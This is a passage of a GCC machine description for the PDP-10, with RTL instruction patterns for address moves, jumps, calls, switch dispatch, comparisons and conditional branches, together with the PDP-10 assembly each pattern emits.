(TARGET_EXTENDED)\n      {\n\t/* ADDRESS: ... */\n        if (GET_CODE (operands[1]) == CONST_INT\n\t    && !pdp10_const_ok_for_letter_p (INTVAL (operands[1]), 'I'))\n\t  return \"move %0,[%1]\";\n\telse\n          return \"xmovei %0,%a1\";\n      }\n    else\n      return \"movei %0,%a1\";\n  })\n\n(define_insn \"MOVSI\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r\")\n\t(ashift:SI (unspec:SI [(match_operand:SI 1 \"address_operand\" \"r,p\")]\n\t\t\t      UNSPEC_ADDRESS)\n\t\t   (const_int 18)))]\n  \"\"\n  \"@\n   movs %0,%1\n   movsi %0,%a1\")\n\n(define_insn \"HRRI\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r,r\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 18))\n\t(unspec:SI [(match_operand:SI 1 \"address_operand\" \"r,p\")]\n\t\t   UNSPEC_ADDRESS))]\n  \"\"\n  \"@\n   hrr %0,%1\n   hrri %0,%a1\")\n\n(define_insn \"HRLI\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r,r\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 0))\n\t(unspec:SI [(match_operand:SI 1 \"address_operand\" \"r,p\")]\n\t\t   UNSPEC_ADDRESS))]\n  \"\"\n  \"@\n   hrl %0,%1\n   hrli %0,%a1\")\n\n(define_insn \"ADDI\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r,r\")\n\t(unspec:SI [(plus:SI (match_operand:SI 1 \"register_operand\" \"0,0,0,0\")\n\t\t\t     (match_operand:SI 2 \"address_operand\" \"r,I,i,p\"))]\n\t\t   UNSPEC_ADDRESS))]\n  \"\"\n  \"@\n   add %0,%2\n   addi %0,%2\n   add %0,[%2]\n   addi %0,%a2\")\n\n(define_insn \"ashrsi3_pointer\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t    (match_operand:SI 2 \"immediate_operand\" \"K\")]\n\t\t   UNSPEC_SHIFTRT))]\n  \"\"\n  \"ash %0,%N2%; ashrsi3_pointer\")\n\n(define_insn \"ashlsi3_pointer\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t    (match_operand:SI 2 \"immediate_operand\" \"K\")]\n\t\t   UNSPEC_SHIFT))]\n  \"\"\n  \"ash %0,%2%; ashlsi3_pointer\")\n\n(define_insn \"SUBBP\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t    (match_operand:SI 2 \"reg_or_mem_operand\" \"rm\")]\n\t\t   UNSPEC_SUBBP))]\n  \"TARGET_XKL2\"\n  \"extend %0,[subbp %2]\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Unconditional Jumps\n\n(define_insn \"nop\"\n  [(const_int 0)]\n  \"\"\n  ;; TODO: this is the traditional NOP instruction.  On KL10, TRN is\n  ;; faster.\n  \"jfcl%; nop\")\n\n(define_insn \"jump\"\n  [(set (pc)\n\t(label_ref (match_operand 0 \"\" \"\")))]\n  \"\"\n  {\n    return pdp10_output_jrst (operands[0]);\n  })\n\n(define_expand \"indirect_jump\"\n  [(set (pc)\n\t(match_operand:SI 0 \"general_operand\" \"\"))]\n  \"\"\n  \"/* Strip off any byte pointer fields, leaving only the word address.\n      TODO: do this earlier, before conversion to 'void *'?  */\n   if (GET_CODE (operands[0]) == CONST_INT)\n     {\n       HOST_WIDE_INT address = INTVAL (operands[0]);\n       address &= TARGET_EXTENDED ? 07777777777 : 0777777;\n       operands[0] = GEN_INT (address);\n     }\n   else if (GET_CODE (operands[0]) == CONST\n\t    && GET_CODE (XEXP (operands[0], 0)) == PLUS\n\t    && GET_CODE (XEXP (XEXP (operands[0], 0), 0)) == SYMBOL_REF\n\t    && GET_CODE (XEXP (XEXP (operands[0], 0), 1)) == CONST_INT)\n     {\n       HOST_WIDE_INT offset = INTVAL (XEXP (XEXP (operands[0], 0), 1));\n       offset &= TARGET_EXTENDED ? 07777777777 : 0777777;\n       operands[0] = plus_constant (XEXP (XEXP (operands[0], 0), 0), offset);\n     }\")\n\n(define_insn \"*indirect_jump\"\n  [(set (pc)\n\t;; ADDRESS: the S constraint allows a symbol.\n\t(match_operand:SI 0 \"general_operand\" \"x,IS,i,rm\"))]\n  \"\"\n  \"@\n   jrst (%0)\n   jrst %0\n   jrst @[%0]\n   jrst @%0\")\n\n(define_expand \"call\"\n  [(call (match_operand 0 \"memory_operand\" \"\")\n\t (match_operand 1 \"general_operand\" \"\"))]\n  \"\"\n  \"\")\n\n(define_insn \"*call_reg\"\n  [(call (mem:SI (match_operand:SI 0 \"register_operand\" \"x\"))\n         (match_operand 1 \"\" \"g\"))]\n  \"\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst (%0)\";\n    else\n      return \"pushj 17,(%0)\";\n  })\n\n(define_insn \"*call_mem2\"\n  [(call (mem:SI (match_operand 0 \"immediate_operand\" \"i\"))\n\t (match_operand 1 \"general_operand\" \"g\"))]\n  \"GET_CODE (operands[0]) != SYMBOL_REF\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst %a0\";\n    else\n      return \"pushj 17,%a0\";\n  })\n\n(define_insn \"*call_symbol\"\n  [(call (mem:SI (match_operand:SI 0 \"\" \"X\"))\n\t (match_operand:SI 1 \"general_operand\" \"g\"))]\n  \"GET_CODE (operands[0]) == SYMBOL_REF\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst %L0\";\n    else\n      return \"pushj 17,%L0\";\n  })\n\n(define_insn \"*call_mem1\"\n  [(call (match_operand:SI 0 \"memory_operand\" \"m\")\n\t (match_operand:SI 1 \"general_operand\" \"g\"))]\n  \"\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst @%0\";\n    else\n      return \"pushj 17,@%0\";\n  })\n\n(define_expand \"call_value\"\n  [(set (match_operand 0 \"\" \"\")\n\t(call (match_operand 1 \"memory_operand\" \"\")\n\t      (match_operand 2 \"general_operand\" \"\")))]\n  \"\"\n  \"\")\n\n(define_insn \"*call_value_reg\"\n  [(set (match_operand 0 \"\" \"=r\")\n        (call (mem:SI (match_operand:SI 1 \"register_operand\" \"x\"))\n\t      (match_operand:SI 2 \"general_operand\" \"g\")))]\n  \"\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst (%1)\";\n    else\n      return \"pushj 17,(%1)\";\n  })\n\n(define_insn \"*call_value_mem1\"\n  [(set (match_operand 0 \"\" \"=r\")\n\t(call (mem:SI (match_operand 1 \"memory_operand\" \"o\"))\n\t      (match_operand 2 \"general_operand\" \"g\")))]\n  \"CONSTANT_ADDRESS_P (XEXP (operands[1], 0))\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst @%1\";\n    else\n      return \"pushj 17,@%1\";\n  })\n\n(define_insn \"*call_value_mem2\"\n  [(set (match_operand 0 \"register_operand\" \"=r\")\n\t(call (mem:SI (match_operand 1 \"immediate_operand\" \"i\"))\n\t      (match_operand 2 \"general_operand\" \"g\")))]\n  \"GET_CODE (operands[1]) != SYMBOL_REF\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst %a1\";\n    else\n      return \"pushj 17,%a1\";\n  })\n\n(define_insn \"*call_value_symbol\"\n  [(set (match_operand 0 \"register_operand\" \"=r\")\n\t(call (mem:SI (match_operand:SI 1 \"\" \"X\"))\n\t      (match_operand:SI 2 \"general_operand\" \"g\")))]\n  \"GET_CODE (operands[1]) == SYMBOL_REF\"\n  {\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst %L1\";\n    else if (pdp10_output_call_as_jsp_p (operands[1]))\n      return \"jsp ?,%L1\";\n    else\n      return \"pushj 17,%L1\";\n  })\n\n(define_insn \"*call_value_mem3\"\n  [(set (match_operand 0 \"register_operand\" \"=r\")\n;\t(call (mem:SI (match_operand:SI 1 \"address_operand\" \"a\"))\n\t(call (match_operand:SI 1 \"memory_operand\" \"m\")\n\t      (match_operand:SI 2 \"general_operand\" \"g\")))]\n  \"\"\n  {\n/*    operands[1] = gen_rtx_MEM (SImode, operands[1]);*/\n    if (pdp10_output_call_as_jrst_p (insn))\n      return \"jrst %1\";\n    else\n      return \"pushj 17,%1\";\n  })\n\n; (define_expand \"sibcall\" ...)\n\n; (define_expand \"sibcall_value\" ...)\n\n(define_expand \"untyped_call\"\n  [(parallel [(call (match_operand 0 \"\" \"\")\n\t\t    (const_int 0))\n\t      (match_operand 1 \"\" \"\")\n\t      (match_operand 2 \"\" \"\")])]\n  \"\"\n  \"{\n     int i;\n\n     emit_call_insn (gen_call (operands[0], const0_rtx));\n\n     for (i = 0; i < XVECLEN (operands[2], 0); i++)\n       {\n\t rtx set = XVECEXP (operands[2], 0, i);\n\t emit_move_insn (SET_DEST (set), SET_SRC (set));\n       }\n\n     /* The optimizer doesn't know that the call sets the function value\n\tregisters we stored in the result block.  We avoid problems by\n\tclaiming that all hard registers are used and clobbered at this\n\tpoint.  */\n     emit_insn (gen_blockage ());\n \n     DONE;\n   }\")\n\n(define_insn \"*PUSHJ\"\n  [(parallel\n    [(call (match_operand:SI 0 \"memory_operand\" \"m\")\n\t   (match_operand:SI 1 \"\" \"\"))\n     (use (match_operand:SI 2 \"register_operand\" \"+r\"))])]\n  \"\"\n  \"pushj %2,%0\")\n\n; (define_insn \"trap\"\n;   [(trap_if (const_int 1) (const_int 0))]\n;   \"\"\n;   \"<trap 0>%; trap\")\n\n(define_expand \"casesi\"\n  [(set (match_dup 5)\n\t(minus:SI (match_operand:SI 0 \"register_operand\" \"\")\n\t\t  (match_operand:SI 1 \"general_operand\" \"\")))\n   (set (pc)\n        (if_then_else (lt (match_dup 5) (const_int 0))\n\t\t      (label_ref (match_operand 4 \"\" \"\"))\n\t\t      (pc)))\n   (set (pc)\n        (if_then_else (gt (match_dup 5)\n\t\t\t  (match_operand:SI 2 \"general_operand\" \"\"))\n\t\t      (label_ref (match_dup 4))\n\t\t      (pc)))\n;;; This is too general.  The jump table label will always be local.\n;;; Unless the table is in .rodata located in another section.\n;  (set (match_dup 6)\n;\t(plus:SI (match_dup 5) (label_ref (match_operand 3 \"\" \"\"))))\n;  (parallel [(set (pc) (if_then_else (const_int 1)\n;\t\t\t\t      (mem:SI (match_dup 6))\n;\t\t\t\t      (label_ref (match_dup 4))))\n;\t      (use (label_ref (match_dup 3)))])]\n   (parallel [(set (pc)\n\t\t   (if_then_else\n\t\t    (const_int 1)\n\t\t    (mem:SI (plus:SI (match_dup 5)\n\t\t\t\t     (label_ref (match_operand 3 \"\" \"\"))))\n\t\t    (label_ref (match_dup 4))))\n\t      (use (label_ref (match_dup 3)))])]\n  \"\"\n  \"operands[5] = gen_reg_rtx (SImode);\n   /*operands[6] = gen_reg_rtx (SImode);*/\")\n\n;; This is the bare minimum of how an acceptable casesi dispatch\n;; instruction must look like.\n(define_insn \"\"\n  [(parallel [(set (pc)\n\t\t   (if_then_else (const_int 1)\n\t\t\t\t (match_operand:SI 0 \"address_operand\" \"p\")\n\t\t\t\t (label_ref (match_operand 1 \"\" \"\"))))\n\t      (use (label_ref (match_operand 2 \"\" \"\")))])]\n  \"\"\n  \"jrst %a0\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Conditional Jumps\n\n(define_expand \"cmpsi\"\n  [(set (cc0) (compare (match_operand:SI 0 \"register_operand\" \"\")\n                       (match_operand:SI 1 \"general_operand\" \"\")))]\n  \"\"\n  \"pdp10_compare_op0 = operands[0];\n   pdp10_compare_op1 = operands[1];\n   DONE;\")\n\n;; (define_expand \"cmpdi\"\n;;  [(set (cc0) (compare (match_operand:DI 0 \"register_operand\" \"\")\n;;                       (match_operand:DI 1 \"general_operand\" \"\")))]\n;;  \"\"\n;;  \"pdp10_compare_op0 = operands[0];\n;;   pdp10_compare_op1 = operands[1];\n;;   DONE;\")\n\n(define_expand \"cmpsf\"\n  [(set (cc0) (compare (match_operand:SF 0 \"register_operand\" \"\")\n                       (match_operand:SF 1 \"general_operand\" \"\")))]\n  \"\"\n  \"pdp10_compare_op0 = operands[0];\n   pdp10_compare_op1 = operands[1];\n   DONE;\")\n\n;; KCC generates this for double x, y:\n;; x == y:\n;;\tCAMN x+1,y+1\t\t\n;;\t CAME x,y\n;;\t  ;here if false\n;; x < y:\t\t\tx<y\tx==y\tx>y\n;;\tCAML x,y\t\t?\tfalse\tfalse\n;;\t CAMGE x+1,y+1\t\tfalse\ttrue\t?\n;;\t  CAMLE x,y\t\ttrue\t\tfalse\n;;\t   ;here if false\tno\tyes\tyes\n;; x <= y:\n;;\tCAML x,y\t\t?\tfalse\tfalse\n;;\t CAMG x+1,y+1\t\tfalse\tfalse\t?\n;;\t  CAMLE x,y\t\ttrue\ttrue\tfalse\n;;\t   ;here if false\tno\tno\tyes\n;; These may also work for long long after adaptions.\n\n;; To compare a double against zero:\n;; x < 0:\n;;\tJUMPL x,label\n;;\t;here if false\n;; x >= 0:\n;;\tJUMPGE x,label\n;;\t;here if false\n;; x <= 0:\t\t\tx<0\tx==0\tx>0\n;;\tJUMPL x,label\t\ttrue\tfalse\tfalse\n;;\t SKIPN x\t\t\tfalse\n;;\t  JUMPE x+1,label\t\ttrue\n;;\t   ;here if false\n;; x > 0:\n;;\tJUMPG x,label\t\tfalse\tfalse\tmaybe\n;;\t SKIPL x\t\ttrue\tfalse\tfalse\n;;\t  JUMPG x+1,label\t\tfalse\ttrue\n;;\t   ;here if false\n\n(define_expand \"cmpdf\"\n  [(set (cc0) (compare (match_operand:DF 0 \"register_operand\" \"\")\n                       (match_operand:DF 1 \"general_operand\" \"\")))]\n  \"\"\n  \"if (pdp10_const_double_0_operand (operands[1], DFmode))\n     pdp10_compare_op0 = operands[0];\n   else\n     {\n       pdp10_compare_op0 = gen_reg_rtx (DFmode);\n       gen_subdf3 (pdp10_compare_op0, operands[0], operands[1]);\n     }\n   pdp10_compare_op1 = CONST0_RTX (DFmode);\n   DONE;\")\n\n(define_insn \"test_and_skip\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 0 \"pdp10_equality_operator\"\n\t  [(and:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t   (match_operand:SI 2 \"general_operand\" \"g\"))\n\t   (const_int 0)])\n\t (label_ref (match_operand 3 \"\" \"\"))\n\t (pc)))]\n  \"\"\n  \"*pdp10_remove_unnecessary_label (insn, operands[3]);\n    return pdp10_output_test_and_skip (insn, operands);\"\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 3) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n;; Equality comparisons of a contigous group of bits with zero will be\n;; written using zero_extract rather than the equivalent AND operations.\n(define_insn \"test_extract_skip\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 0 \"pdp10_equality_operator\"\n\t  [(zero_extract:SI\n\t    (match_operand:SI 1 \"register_operand\" \"r\")\n\t    (match_operand:SI 2 \"const_int_operand\" \"\")\n\t    (match_operand:SI 3 \"const_int_operand\" \"\"))\n\t   (const_int 0)])\n\t (label_ref (match_operand 4 \"\" \"\"))\n\t (pc)))]\n  \"\"\n  {\n    int len = INTVAL (operands[2]), pos = INTVAL (operands[3]);\n    HOST_WIDE_INT mask = (((HOST_WIDE_INT)1 << len) - 1) << (36 - pos - len);\n    /* Must assign operands[2] and operands[3], since\n       pdp10_output_test_and_skip use those to output the\n       instruction.  */\n    operands[2] = gen_int_mode (mask, SImode);\n    operands[3] = operands[4];\n    pdp10_remove_unnecessary_label (insn, operands[3]);\n    return pdp10_output_test_and_skip (insn, operands);\n  }\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 4) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n(define_insn \"TLZN\"\n  [(set (pc)\n\t(if_then_else\n\t (ne (and:SI (match_operand:SI 0 \"register_operand\" \"+r\")\n\t\t     (match_operand:SI 1 \"const_int_operand\" \"\"))\n\t     (const_int 0))\n\t (label_ref (match_operand 2 \"\" \"\"))\n\t (pc)))\n   (set (match_dup 0) (and:SI (match_dup 0) (not:SI (match_dup 1))))]\n  \"\"\n  {\n    pdp10_remove_unnecessary_label (insn, operands[2]);\n    if (get_attr_length (insn) == 1)\n      return \"tlzn %0,%1\";\n    else\n      return \"tlze %0,%1\\;jrst %2\";\n  }\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 2) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n(define_insn \"TLNE_TLZA_TLO\"\n  [(set (match_operand:SI 0 \"register_operand\" \"+r\")\n\t(unspec:SI [(match_dup 0)\n\t\t    (match_operand:SI 1 \"const_int_operand\" \"\")\n\t\t    (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t    (match_operand:SI 3 \"const_int_operand\" \"\")]\n\t\t   UNSPEC_TLNE_TLZA_TLO))]\n  \"\"\n  \"tlne %0,%1\\;%_tlza %0,%2\\;%_%_tlo %0,%3\"\n  [(set_attr \"length\" \"3\")])\n\n(define_expand \"bne\"\n  [(set (pc)\n\t(if_then_else (ne (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"if (pdp10_generate_cbranchdi (NE, pdp10_compare_op0, pdp10_compare_op1))\n     DONE;\n   operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"beq\"\n  [(set (pc)\n\t(if_then_else (eq (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"bge\"\n  [(set (pc)\n\t(if_then_else (ge (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"bgt\"\n  [(set (pc)\n\t(if_then_else (gt (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"ble\"\n  [(set (pc)\n\t(if_then_else (le (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"blt\"\n  [(set (pc)\n\t(if_then_else (lt (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"bgeu\"\n  [(set (pc)\n\t(if_then_else (ge (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n(define_expand \"bgtu\"\n  [(set (pc)\n\t(if_then_else (gt (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n(define_expand \"bleu\"\n  [(set (pc)\n\t(if_then_else (le (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n(define_expand \"bltu\"\n  [(set (pc)\n\t(if_then_else (lt (match_dup 1) (match_dup 2))\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n; (define_insn \"cbranchsi4\" ...)\n\n(define_insn \"cbranchsi\"\n  [(set (pc)\n\t(if_then_else (match_operator 3 \"comparison_operator\"\n\t\t       [(match_operand:SI 1 \"reg_or_mem_operand\" \"r,m,r,r,r\")\n\t\t        ;; ADDRESS: an S constraint for the cai case\n\t\t        ;; (alternative 2) would allow a symbol.\n\t\t        (match_operand:SI 2 \"general_operand\" \"O,O,I,i,rm\")])\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  {\n    static const char *asms[] =\n    { \"jump%3 %1,%F0\",\n      \"skip%3 %@%1\",\n      \"cai%3 %1,%2\",\n      \"cam%3 %1,[%X2]\",\n      \"cam%3 %1,%2\" };\n    if (which_alternative != 0)\n      pdp10_remove_unnecessary_label (insn, operands[0]);\n    /* ADDRESS: unextended code can store the symbol in the immediate\n       field.  */\n    if (which_alternative == 3 && !TARGET_EXTENDED\n\t&& GET_CODE (operands[2]) == CONST)\n      which_alternative = 2;\n    if (get_attr_length (insn) == 1)\n      return asms[which_alternative];\n    else\n      {\n\t/* Reverse the skip condition and output a JRST.  */\n\toperands[3] = gen_rtx_fmt_ee (reverse_condition\n\t\t\t\t      (GET_CODE (operands[3])),\n\t\t\t\t      VOIDmode, NULL_RTX, NULL_RTX);\n\toutput_asm_insn (asms[which_alternative], operands);\n\treturn pdp10_output_jrst (operands[0]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (ior (eq_attr \"alternative\" \"0\")\n\t\t\t   (eq (minus (match_dup 0) (pc)) (const_int 1)))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"no,yes,yes,yes,yes\")])\n\n(define_insn \"*CAI_reg\"\n  [(set (pc)\n\t(if_then_else (match_operator 0 \"comparison_operator\"\n\t\t       [(and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t(const_int RIGHT_HALF))\n\t\t        (match_operand:SI 2 \"register_operand\" \"r\")])\n\t\t      (label_ref (match_operand 3 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  {\n    pdp10_remove_unnecessary_label (insn, operands[3]);\n    if (get_attr_length (insn) == 1)\n      return \"cai%0 %2,(%1)\";\n    else\n      {\n\t/* Reverse the skip condition and output a JRST.  */\n\toutput_asm_insn (\"cai%R0 %2,(%1)\", operands);\n\treturn pdp10_output_jrst (operands[3]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 3) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n(define_insn \"*CAI_const_plus_reg\"\n  [(set (pc)\n\t(if_then_else (match_operator 0 \"comparison_operator\"\n\t\t       [(and:SI (plus:SI\n\t\t\t\t (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t\t(const_int RIGHT_HALF))\n\t\t        (match_operand:SI 3 \"register_operand\" \"r\")])\n\t\t      (label_ref (match_operand 4 \"\" \"\"))\n\t\t      (pc)))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  {\n    pdp10_remove_unnecessary_label (insn, operands[4]);\n    if (get_attr_length (insn) == 1)\n      return \"cai%0 %3,%2(%1)\";\n    else\n      {\n\t/* Reverse the skip condition and output a JRST.  */\n\toutput_asm_insn (\"cai%R0 %3,%2(%1)\", operands);\n\treturn pdp10_output_jrst (operands[4]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 4) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n(define_insn \"*cbranchsf\"\n  [(set (pc)\n\t(if_then_else (match_operator 3 \"pdp10_comparison_operator\"\n\t\t       [(match_operand:SF 1 \"reg_or_mem_operand\" \"r,m,r,r,r\")\n\t\t        (match_operand:SF 2 \"general_operand\" \"R,R,I,i,rm\")])\n\t\t      (label_ref (match_operand 0 \"\" \"\"))\n\t\t      (pc)))]\n  \"\"\n  {\n    /* TODO: Copy from cbranchsi.  Maybe create an output function for\n       both?  */\n    const char *asms[][2] =\n    { { \"jump%3 %1,%F0\",\t0 },\n      { \"skip%3 %@%1\",\t\t\"skip%R3 %@%1\\;jrst %l0\" },\n      { \"cai%3 %1,%2\",\t\t\"cai%R3 %1,%2\\;jrst %l0\" },\n      { \"cam%3 %1,[%2]\",\t\"cam%R3 %1,[%2]\\;jrst %l0\" },\n      { \"cam%3 %1,%2\",\t\t\"cam%R3 %1,%2\\;jrst %l0\" } };\n    if (which_alternative != 0)\n      pdp10_remove_unnecessary_label (insn, operands[0]);\n    return asms[which_alternative][get_attr_length (insn) - 1];\n  }\n  [(set (attr \"length\")\n\t(if_then_else (ior (eq_attr \"alternative\" \"0\")\n\t\t\t   (eq (minus (match_dup 0) (pc)) (const_int 1)))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"no,yes,yes,yes,yes\")])\n\n(define_insn \"*cbranchdf\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 3 \"pdp10_comparison_operator\"\n          [(match_operand:DF 1 \"reg_or_mem_operand\" \"r,m\")\n\t   (match_operand:DF 2 \"pdp10_const_double_0_operand\" \"\")])\n\t (label_ref (match_operand 0 \"\" \"\"))\n\t (pc)))]\n  \"\"\n  {\n    if (which_alternative == 0)\n      return \"jump%3 %1,%F0\";\n    pdp10_remove_unnecessary_label (insn, operands[0]);\n    if (get_attr_length (insn) == 1)\n      return \"skip%3 %@%1\";\n    else\n      {\n\toutput_asm_insn (\"skip%R3 %@%1\", operands);\n\treturn pdp10_output_jrst (operands[0]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (ior (eq_attr \"alternative\" \"0\")\n\t\t\t   (eq (minus (match_dup 0) (pc)) (const_int 1)))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"no,yes\")])\n\n(define_insn \"doloop_end\"\n  [(set (pc)\n\t(if_then_else\n\t (ge (plus:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"+r\")\n\t\t      (const_int -1))\n\t     (const_int 0))\n\t (label_ref (match_operand 4 \"\" \"\"))\n\t (pc)))\n   (set (match_dup 0)\n\t(plus:SI (match_dup 0) (const_int -1)))\n   (use (match_operand 1 \"\" \"\"))\t; iterations; zero if unknown\n   (use (match_operand 2 \"\" \"\"))\t; max iterations\n   (use (match_operand 3 \"\" \"\"))]\t; loop level\n  \"\"\n  \"sojge %0,%l4%; doloop_end\")\n\n(define_insn \"decrement_and_branch_until_zero\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 2 \"pdp10_comparison_operator\"\n\t  [(plus:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"+r,m\")\n\t\t    (const_int -1))\n\t   (const_int 0)])\n\t (label_ref (match_operand 1 \"\" \"\"))\n\t (pc)))\n   (set (match_dup 0)\n\t(plus:SI (match_dup 0) (const_int -1)))]\n  \"\"\n  {\n    if (which_alternative == 0)\n      return \"soj%2 %0,%l1%; decrement_and_branch_until_zero\";\n    pdp10_remove_unnecessary_label (insn, operands[1]);\n    if (get_attr_length (insn) == 1)\n      return \"sos%2 %@%0%; decrement_and_branch_until_zero\";\n    else\n      {\n\toutput_asm_insn (\"sos%R2 %@%0%; decrement_and_branch_until_zero\",\n\t\t\t operands);\n\treturn pdp10_output_jrst (operands[1]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (ior (eq_attr \"alternative\" \"0\")\n\t\t\t   (eq (minus (match_dup 1) (pc)) (const_int 1)))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"no,yes\")])\n\n(define_insn \"*AOJ\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 0 \"pdp10_comparison_operator\"\n\t  [(plus:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"+r,m\")\n\t\t    (const_int 1))\n\t   (const_int 0)])\n\t (label_ref (match_operand 2 \"\" \"\"))\n\t (pc)))\n   (set (match_dup 1)\n\t(plus:SI (match_dup 1) (const_int 1)))]\n  \"\"\n  {\n    if (which_alternative == 0)\n      return \"aoj%0 %1,%l2\";\n    pdp10_remove_unnecessary_label (insn, operands[2]);\n    if (get_attr_length (insn) == 1)\n      return \"aos%0 %@%1\";\n    else\n      {\n\toutput_asm_insn (\"aos%R0 %@%1\", operands);\n\treturn pdp10_output_jrst (operands[2]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (ior (eq_attr \"alternative\" \"0\")\n\t\t\t   (eq (minus (match_dup 2) (pc)) (const_int 1)))\n\t\t      